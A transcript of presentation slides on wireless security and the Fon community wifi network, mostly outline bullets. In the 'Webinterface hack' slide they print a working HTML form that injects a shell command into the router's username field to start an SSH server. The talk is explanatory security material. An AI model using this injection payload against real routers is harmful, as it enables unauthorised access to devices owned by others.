Peter Peerdeman [email protected] Introduction Overview Wireless security Fon network Security...
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Transcript of Peter Peerdeman [email protected] Introduction Overview Wireless security Fon network Security...
Introduction
Overview
• Wireless security• Fon network• Security scenarios• Conclusion
Wireless security
• Open• WEP• WPA• Hot Spot
Fon Network
• Need for wifi• Community based• Authentication• Webinterface hack
<html><head></head><body><center><form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh " enctype="multipart/form-data"><input name="username" value="$(/etc/init.d/dropbear)“><input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" /></form></body></html>
Security scenarios
• Spying on users• Being spied on• Misbehaviour• Router Worm
Conclusion
• Need for internet• Users responsible• Free over payed• Physical access• UMTS / GPRS
Thank you for your attention!
